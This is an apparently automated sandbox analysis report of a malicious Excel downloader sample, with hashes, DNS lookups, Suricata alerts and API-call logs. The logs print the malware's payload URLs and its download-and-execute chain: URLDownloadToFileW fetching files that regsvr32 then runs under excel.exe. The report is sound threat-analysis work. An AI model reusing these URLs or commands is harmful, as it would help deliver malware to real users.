popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

art-71766134.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 14, 2021, 4:09 p.m. Oct. 14, 2021, 4:13 p.m.
Size 246.0KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Wed Oct 13 08:23:54 2021, Security: 0
MD5 4651c9768697acf3a15a80f61c8ae749
SHA256 bf29c7db7c631132fe39a746be3a7d6b15e72ca0e90b7025918be8c837ca2bb1
CRC32 02C6DA1B
ssdeep 6144:nKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgP9jWXcZZRBTq1BOzTwvOsPDslAvS32vI7q:y9jVzTmszTwvTDy33LvfP1OWc
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader

Name Response Post-Analysis Lookup
pmqdermatology.com.au
A 101.0.119.207
101.0.119.207
funzy.id
A 194.233.72.245
194.233.72.245
bostonavenue.org
A 216.172.187.35
216.172.187.35
x1.i.lencr.org
CNAME crl.root-x1.letsencrypt.org.edgekey.net
CNAME e8652.dscx.akamaiedge.net
A 104.76.75.146
104.76.75.146
IP Address Status Action
101.0.119.207 Active Moloch
104.76.75.146 Active Moloch
164.124.101.2 Active Moloch
194.233.72.245 Active Moloch
216.172.187.35 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 216.172.187.35:443 -> 192.168.56.103:49170 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 216.172.187.35:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49177 -> 194.233.72.245:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 194.233.72.245:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 194.233.72.245:443 -> 192.168.56.103:49177 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 194.233.72.245:443 -> 192.168.56.103:49177 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49169 -> 216.172.187.35:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49175 -> 194.233.72.245:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49172 -> 101.0.119.207:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49176 -> 194.233.72.245:443 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 194.233.72.245:443 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 194.233.72.245:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 194.233.72.245:443 -> 192.168.56.103:49176 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 194.233.72.245:443 -> 192.168.56.103:49176 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode
TCP 194.233.72.245:443 -> 192.168.56.103:49175 2230002 SURICATA TLS invalid record type Generic Protocol Command Decode
TCP 194.233.72.245:443 -> 192.168.56.103:49175 2230010 SURICATA TLS invalid record/traffic Generic Protocol Command Decode

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49172
101.0.119.207:443 		C=US, O=Let's Encrypt, CN=R3 CN=pmqdermatology.com.au 2a:97:18:3e:9b:72:60:41:c7:40:31:30:3f:d1:14:c6:01:79:a0:73

request GET http://x1.i.lencr.org/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b182000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2684
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2164
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline regsvr32 C:\Datop\test.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test2.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://bostonavenue.org/zunSJE0UYwbJ/sunise.html
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://pmqdermatology.com.au/0aafNmAW9/suraise.html
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270105 0

URLDownloadToFileW

 url: https://funzy.id/0KICC3zxK2nT/sunraie.html
stack_pivoted: 0
filepath_r: C:\Datop\test2.test
filepath: C:\Datop\test2.test
2148270085 0
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test2.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test2.test
file C:\Windows\System32\regsvr32.exe